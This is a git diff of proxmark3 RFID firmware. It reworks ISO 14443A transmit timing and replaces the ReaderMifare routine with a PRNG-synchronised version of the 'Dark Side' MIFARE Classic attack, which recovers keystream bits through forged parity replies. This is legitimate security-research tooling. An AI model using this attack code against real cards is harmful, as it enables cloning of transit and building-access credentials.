X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/e772353f72729f0dfc80a4d93c3a7bd2ac5ea775..b61f426c2d92962ae51a6d4dc01a846fc2d4c095:/armsrc/iso14443a.c diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 111d7139..bd7e758d 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1218,47 +1218,75 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) LED_A_OFF(); } + +// prepare a delayed transfer. This simply shifts ToSend[] by a number +// of bits specified in the delay parameter. +void PrepareDelayedTransfer(uint16_t delay) +{ + uint8_t bitmask = 0; + uint8_t bits_to_shift = 0; + uint8_t bits_shifted = 0; + + delay &= 0x07; + if (delay) { + for (uint16_t i = 0; i < delay; i++) { + bitmask |= (0x01 << i); + } + ToSend[++ToSendMax] = 0x00; + for (uint16_t i = 0; i < ToSendMax; i++) { + bits_to_shift = ToSend[i] & bitmask; + ToSend[i] = ToSend[i] >> delay; + ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay)); + bits_shifted = bits_to_shift; + } + } +} + + + + //----------------------------------------------------------------------------- // Transmit the command (to the tag) that was placed in ToSend[]. +// Parameter timing: +// if NULL: ignored +// if == 0: return time of transfer +// if != 0: delay transfer until time specified //----------------------------------------------------------------------------- -static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait) +static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing) { - int c; + int c; - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - if (wait) - if(*wait < 10) - *wait = 10; - for(c = 0; c < *wait;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! - c++; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } + if (timing) { + if(*timing == 0) { // Measure time + *timing = (GetCountMifare() + 8) & 0xfffffff8; + } else { + PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks) + } + if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing"); + while(GetCountMifare() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks) + } + + for(c = 0; c < 10;) { // standard delay for each transfer (allow tag to be ready after last transmission) + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; + c++; + } + } + + c = 0; + for(;;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = cmd[c]; + c++; + if(c >= len) { + break; + } + } + } - c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = cmd[c]; - c++; - if(c >= len) { - break; - } - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } - if (samples) *samples = (c + *wait) << 3; } //----------------------------------------------------------------------------- @@ -1515,7 +1543,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int // Signal field is on with the appropriate LED LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); - + // Now get the answer from the card Demod.output = receivedResponse; Demod.len = 0; @@ -1528,10 +1556,10 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int for(;;) { WDT_HIT(); - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!! - if (elapsed) (*elapsed)++; - } + // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + // AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!! + // if (elapsed) (*elapsed)++; + // } if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { if(c < iso14a_timeout) { c++; } else { return FALSE; } b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -1547,17 +1575,13 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int } } -void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par) +void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing) { - int wait = 0; - int samples = 0; - - // This is tied to other size changes - // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024; + CodeIso14443aBitsAsReaderPar(frame,bits,par); // Select the card - TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); + TransmitFor14443a(ToSend, ToSendMax, timing); if(trigger) LED_A_ON(); @@ -1565,15 +1589,15 @@ void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par) if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE); } -void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par) +void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing) { - ReaderTransmitBitsPar(frame,len*8,par); + ReaderTransmitBitsPar(frame,len*8,par, timing); } -void ReaderTransmit(uint8_t* frame, int len) +void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing) { // Generate parity and redirect - ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len)); + ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing); } int ReaderReceive(uint8_t* receivedAnswer) @@ -1612,11 +1636,11 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u int len; // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitBitsPar(wupa,7,0); + ReaderTransmitBitsPar(wupa,7,0, NULL); // Receive the ATQA if(!ReaderReceive(resp)) return 0; // Dbprintf("atqa: %02x %02x",resp[0],resp[1]); - + if(p_hi14a_card) { memcpy(p_hi14a_card->atqa, resp, 2); p_hi14a_card->uidlen = 0; @@ -1625,7 +1649,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u // clear uid if (uid_ptr) { - memset(uid_ptr,0,8); + memset(uid_ptr,0,10); } // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in @@ -1636,7 +1660,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; // SELECT_ALL - ReaderTransmit(sel_all,sizeof(sel_all)); + ReaderTransmit(sel_all,sizeof(sel_all), NULL); if (!ReaderReceive(resp)) return 0; // First backup the current uid @@ -1644,15 +1668,15 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u uid_resp_len = 4; // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]); - // calculate crypto UID - if(cuid_ptr) { - *cuid_ptr = bytes_to_num(uid_resp, 4); + // calculate crypto UID. Always use last 4 Bytes. + if(cuid_ptr) { + *cuid_ptr = bytes_to_num(uid_resp, 4); } // Construct SELECT UID command memcpy(sel_uid+2,resp,5); AppendCrc14443a(sel_uid,7); - ReaderTransmit(sel_uid,sizeof(sel_uid)); + ReaderTransmit(sel_uid,sizeof(sel_uid), NULL); // Receive the SAK if (!ReaderReceive(resp)) return 0; @@ -1687,8 +1711,8 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u // Request for answer to select AppendCrc14443a(rats, 2); - ReaderTransmit(rats, sizeof(rats)); - + ReaderTransmit(rats, sizeof(rats), NULL); + if (!(len = ReaderReceive(resp))) return 0; if(p_hi14a_card) { @@ -1702,13 +1726,13 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u } void iso14443a_setup() { - // Set up the synchronous serial port - FpgaSetupSsc(); + // Set up the synchronous serial port + FpgaSetupSsc(); // Start from off (no field generated) // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(50); +// LED_D_OFF(); +// FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + // SpinDelay(50); SetAdcMuxFor(GPIO_MUXSEL_HIPKD); @@ -1716,7 +1740,7 @@ void iso14443a_setup() { // Signal field is on with the appropriate LED LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - SpinDelay(50); + SpinDelay(7); // iso14443-3 specifies 5ms max. iso14a_timeout = 2048; //default } @@ -1730,7 +1754,7 @@ int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) { memcpy(real_cmd+2, cmd, cmd_len); AppendCrc14443a(real_cmd,cmd_len+2); - ReaderTransmit(real_cmd, cmd_len+4); + ReaderTransmit(real_cmd, cmd_len+4, NULL); size_t len = ReaderReceive(data); uint8_t * data_bytes = (uint8_t *) data; if (!len) @@ -1757,21 +1781,20 @@ void ReaderIso14443a(UsbCommand * c) iso14a_command_t param = c->arg[0]; uint8_t * cmd = c->d.asBytes; size_t len = c->arg[1]; - uint32_t arg0 = 0; - byte_t buf[USB_CMD_DATA_SIZE]; + uint32_t arg0 = 0; + byte_t buf[USB_CMD_DATA_SIZE]; - iso14a_clear_trace(); - iso14a_set_tracing(true); + iso14a_clear_trace(); + iso14a_set_tracing(true); if(param & ISO14A_REQUEST_TRIGGER) { - iso14a_set_trigger(1); - } + iso14a_set_trigger(1); + } if(param & ISO14A_CONNECT) { iso14443a_setup(); - arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL); + arg0 = iso14443a_select_card(NULL, (iso14a_card_select_t*)buf, NULL); cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t)); -// UsbSendPacket((void *)ack, sizeof(UsbCommand)); } if(param & ISO14A_SET_TIMEOUT) { @@ -1785,7 +1808,6 @@ void ReaderIso14443a(UsbCommand * c) if(param & ISO14A_APDU) { arg0 = iso14_apdu(cmd, len, buf); cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); -// UsbSendPacket((void *)ack, sizeof(UsbCommand)); } if(param & ISO14A_RAW) { @@ -1793,372 +1815,251 @@ void ReaderIso14443a(UsbCommand * c) AppendCrc14443a(cmd,len); len += 2; } - ReaderTransmit(cmd,len); + ReaderTransmit(cmd,len, NULL); arg0 = ReaderReceive(buf); -// UsbSendPacket((void *)ack, sizeof(UsbCommand)); - cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); + cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf)); } if(param & ISO14A_REQUEST_TRIGGER) { - iso14a_set_trigger(0); - } + iso14a_set_trigger(0); + } if(param & ISO14A_NO_DISCONNECT) { return; - } + } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); } -#define TEST_LENGTH 100 -typedef struct mftest{ - uint8_t nt[8]; - uint8_t count; -}mftest ; - -/** - *@brief Tunes the mifare attack settings. This method checks the nonce entropy when - *using a specified timeout. - *Different cards behave differently, some cards require up to a second to power down (and thus reset - *token generator), other cards are fine with 50 ms. - * - * @param time - * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to - *zero indicates a low entropy: the given timeout is sufficient to power down the card. - */ -int TuneMifare(int time) -{ - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); - - iso14443a_setup(); - int TIME1=time; - int TIME2=2000; - uint8_t uid[8]; - uint32_t cuid; - byte_t nt[4]; - Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time); - - - mftest nt_values[TEST_LENGTH]; - int nt_size = 0; - int i = 0; - for(i = 0 ; i< 100 ; i++) - { - LED_C_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(TIME1); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - LED_C_ON(); - SpinDelayUs(TIME2); - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; - - // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth, sizeof(mf_auth)); - - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - //store it - int already_stored = 0; - for(int i = 0 ; i < nt_size && !already_stored; i++) - { - if( memcmp(nt, nt_values[i].nt, 4) == 0) - { - nt_values[i].count++; - already_stored = 1; - } - } - if(!already_stored) - { - mftest* ptr= &nt_values[nt_size++]; - //Clear it before use - memset(ptr, 0, sizeof(mftest)); - memcpy(ptr->nt, nt, 4); - ptr->count = 1; - } - - if(BUTTON_PRESS()) - { - Dbprintf("Tuning aborted prematurely"); - break; - } - } - /* - for(int i = 0 ; i < nt_size;i++){ - mftest x = nt_values[i]; - Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count); - } - */ - int result = nt_size *100 / i; - Dbprintf(" ... results for %d ms : %d %",time, result); - return result; -} -//----------------------------------------------------------------------------- -// Read an ISO 14443a tag. Send out commands and store answers. -// -//----------------------------------------------------------------------------- -#define STATE_SIZE 100 -typedef struct AttackState{ - byte_t nt[4]; - byte_t par_list[8]; - byte_t ks_list[8]; - byte_t par; - byte_t par_low; - byte_t nt_diff; - uint8_t mf_nr_ar[8]; -} AttackState; - - -int continueAttack(AttackState* pState,uint8_t* receivedAnswer) -{ +// Determine the distance between two nonces. +// Assume that the difference is small, but we don't know which is first. +// Therefore try in alternating directions. +int32_t dist_nt(uint32_t nt1, uint32_t nt2) { - // Transmit reader nonce and reader answer - ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par); + uint16_t i; + uint32_t nttmp1, nttmp2; - // Receive 4 bit answer - int len = ReaderReceive(receivedAnswer); - if (!len) - { - if (pState->nt_diff == 0) - { - pState->par++; - } else { - pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low; - } - return 2; - } - if(pState->nt_diff == 0) - { - pState->par_low = pState->par & 0x07; - } - //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4)); - //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; - //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - // - // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue; - - //led_on = !led_on; - //if(led_on) LED_B_ON(); else LED_B_OFF(); - pState->par_list[pState->nt_diff] = pState->par; - pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05; - - // Test if the information is complete - if (pState->nt_diff == 0x07) { - return 0; - } + if (nt1 == nt2) return 0; - pState->nt_diff = (pState->nt_diff + 1) & 0x07; - pState->mf_nr_ar[3] = pState->nt_diff << 5; - pState->par = pState->par_low; - return 1; + nttmp1 = nt1; + nttmp2 = nt2; + + for (i = 1; i < 32768; i++) { + nttmp1 = prng_successor(nttmp1, 1); + if (nttmp1 == nt2) return i; + nttmp2 = prng_successor(nttmp2, 1); + if (nttmp2 == nt1) return -i; + } + + return(-99999); // either nt1 or nt2 are invalid nonces } -void reportResults(uint8_t uid[8],AttackState *pState, int isOK) -{ - LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE); - LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE); - LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE); - - byte_t buf[48]; - memcpy(buf + 0, uid, 4); - if(pState != NULL) - { - memcpy(buf + 4, pState->nt, 4); - memcpy(buf + 8, pState->par_list, 8); - memcpy(buf + 16, pState->ks_list, 8); - } - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); - LED_B_OFF(); +//----------------------------------------------------------------------------- +// Recover several bits of the cypher stream. This implements (first stages of) +// the algorithm described in "The Dark Side of Security by Obscurity and +// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" +// (article by Nicolas T. Courtois, 2009) +//----------------------------------------------------------------------------- +void ReaderMifare(bool first_try) +{ + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + static uint8_t mf_nr_ar3; - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - tracing = TRUE; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + traceLen = 0; + tracing = false; - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); -} + byte_t nt_diff = 0; + byte_t par = 0; + //byte_t par_mask = 0xff; + static byte_t par_low = 0; + bool led_on = TRUE; + uint8_t uid[10]; + uint32_t cuid; -void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time); - -/** - * @brief New implementation of ReaderMifare, the classic mifare attack. - * This implementation is backwards-compatible, but has some added parameters. - * @param c the usbcommand in complete - * c->arg[0] - nt_noattack (deprecated) - * c->arg[1] - offset_time us (0 => random) - * c->arg[2] - powerdown_time ms (0=> tuning) - * - */ -void ReaderMifare(UsbCommand *c) -{ - /* - * The 'no-attack' is not used anymore, with the introduction of - * state tables. Instead, we use an offset which is random. This means that we - * should not get stuck on a 'bad' nonce, so no-attack is not needed. - * Anyway, arg[0] is reserved for backwards compatibility - uint32_t nt_noattack_uint = c->arg[0]; - byte_t nt_noattack[4]; - num_to_bytes(parameter, 4, nt_noattack_uint); - - */ - /* - *IF, for some reason, you want to attack a specific nonce or whatever, - *you can specify the offset time yourself, in which case it won't be random. - * - * The offset time is microseconds, MICROSECONDS, not ms. - */ - uint32_t offset_time = c->arg[1]; - if(offset_time == 0) - { - //[Martin:]I would like to have used rand(), but linking problems prevented it - //offset_time = rand() % 4000; - //So instead, I found this nifty thingy, which seems to fit the bill - offset_time = GetTickCount() % 2000; - } - /* - * There is an implementation of tuning. Tuning will try to determine - * a good power-down time, which is different for different cards. - * If a value is specified from the packet, we won't do any tuning. - * A value of zero will initialize a tuning. - * The power-down time is milliseconds, that MILLI-seconds . - */ - uint32_t powerdown_time = c->arg[2]; - if(powerdown_time == 0) - { - //Tuning required - int entropy = 100; - int time = 25; - entropy = TuneMifare(time); - - while(entropy > 50 && time < 2000){ - //Increase timeout, but never more than 500ms at a time - time = MIN(time*2, time+500); - entropy = TuneMifare(time); - } - if(entropy > 50){ - Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); - } - powerdown_time = time; - } - //The actual attack - ReaderMifareBegin(offset_time, powerdown_time); -} -void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time) -{ - Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time); + uint32_t nt, previous_nt; + static uint32_t nt_attacked = 0; + byte_t par_list[8] = {0,0,0,0,0,0,0,0}; + byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - /** - *Allocate our state-table and initialize with zeroes - **/ + static uint32_t sync_time; + static uint32_t sync_cycles; + int catch_up_cycles = 0; + int last_catch_up = 0; + uint16_t consecutive_resyncs = 0; + int isOK = 0; - AttackState states[STATE_SIZE] ; - //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); - memset(states, 0, STATE_SIZE*sizeof(AttackState)); - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - traceLen = 0; - tracing = false; + if (first_try) { + StartCountMifare(); + mf_nr_ar3 = 0; + iso14443a_setup(); + while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up" + sync_time = GetCountMifare() & 0xfffffff8; + sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). + nt_attacked = 0; + nt = 0; + par = 0; + } + else { + // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same) + // nt_attacked = prng_successor(nt_attacked, 1); + mf_nr_ar3++; + mf_nr_ar[3] = mf_nr_ar3; + par = par_low; + } - iso14443a_setup(); LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + + + for(uint16_t i = 0; TRUE; i++) { + + WDT_HIT(); - LED_A_OFF(); - uint8_t uid[8]; - uint32_t cuid; + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + + LED_C_ON(); - byte_t nt[4]; - int nts_attacked= 0; - //Keeps track of progress (max value of nt_diff for our states) - int progress = 0; - int high_entropy_warning_issued = 0; - while(!BUTTON_PRESS()) - { - LED_C_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(powerdown_time); + if(!iso14443a_select_card(uid, NULL, &cuid)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card"); + continue; + } + + //keep the card active FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - LED_C_ON(); - SpinDelayUs(offset_time); - - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; - - // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth, sizeof(mf_auth)); - - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - //Now we have the NT. Check if this NT is already under attack - AttackState* pState = NULL; - int i = 0; - for(i = 0 ; i < nts_attacked && pState == NULL; i++) - { - if( memcmp(nt, states[i].nt, 4) == 0) - { - //we have it - pState = &states[i]; - //Dbprintf("Existing state found (%d)", i); - } - } - if(pState == NULL){ - if(nts_attacked < STATE_SIZE ) - { - //Initialize a new state - pState = &states[nts_attacked++]; - //Clear it before use - memset(pState, 0, sizeof(AttackState)); - memcpy(pState->nt, nt, 4); - i = nts_attacked; - //Dbprintf("New state created, nt="); - }else if(!high_entropy_warning_issued){ - /** - *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by - *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce - *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting - *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish. - */ - DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)"); - high_entropy_warning_issued = 1; - } - } - if(pState == NULL) continue; - - int result = continueAttack(pState, receivedAnswer); - - if(result == 1){ - //One state progressed another step - if(pState->nt_diff > progress) - { - progress = pState->nt_diff; - //Alert the user - Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked ); - } - //Dbprintf("State increased to %d in state %d", pState->nt_diff, i); - } - else if(result == 2){ - //Dbprintf("Continue attack no answer, par is now %d", pState->par); - } - else if(result == 0){ - reportResults(uid,pState,1); - return; - } - } - reportResults(uid,NULL,0); + // CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8)); + + sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles; + catch_up_cycles = 0; + + // if we missed the sync time already, advance to the next nonce repeat + while(GetCountMifare() > sync_time) { + sync_time = (sync_time & 0xfffffff8) + sync_cycles; + } + + // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) + ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time); + + // Receive the (4 Byte) "random" nonce + if (!ReaderReceive(receivedAnswer)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce"); + continue; + } + + previous_nt = nt; + nt = bytes_to_num(receivedAnswer, 4); + + // Transmit reader nonce with fake par + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + + if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet + int nt_distance = dist_nt(previous_nt, nt); + if (nt_distance == 0) { + nt_attacked = nt; + } + else { + if (nt_distance == -99999) { // invalid nonce received, try again + continue; + } + sync_cycles = (sync_cycles - nt_distance); + if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles); + continue; + } + } + + if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again... + catch_up_cycles = -dist_nt(nt_attacked, nt); + if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one. + catch_up_cycles = 0; + continue; + } + if (catch_up_cycles == last_catch_up) { + consecutive_resyncs++; + } + else { + last_catch_up = catch_up_cycles; + consecutive_resyncs = 0; + } + if (consecutive_resyncs < 3) { + if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs); + } + else { + sync_cycles = sync_cycles + catch_up_cycles; + if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles); + } + continue; + } + + consecutive_resyncs = 0; + + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding + if (ReaderReceive(receivedAnswer)) + { + catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer + + if (nt_diff == 0) + { + par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change + } + + led_on = !led_on; + if(led_on) LED_B_ON(); else LED_B_OFF(); + + par_list[nt_diff] = par; + ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (nt_diff == 0x07) { + isOK = 1; + break; + } + + nt_diff = (nt_diff + 1) & 0x07; + mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5); + par = par_low; + } else { + if (nt_diff == 0 && first_try) + { + par++; + } else { + par = (((par >> 3) + 1) << 3) | par_low; + } + } + } + + LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE); + LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); + LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); + + mf_nr_ar[3] &= 0x1F; + + byte_t buf[28]; + memcpy(buf + 0, uid, 4); + num_to_bytes(nt, 4, buf + 4); + memcpy(buf + 8, par_list, 8); + memcpy(buf + 16, ks_list, 8); + memcpy(buf + 24, mf_nr_ar, 4); + + cmd_send(CMD_ACK,isOK,0,0,buf,28); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; } + //----------------------------------------------------------------------------- // MIFARE 1K simulate. //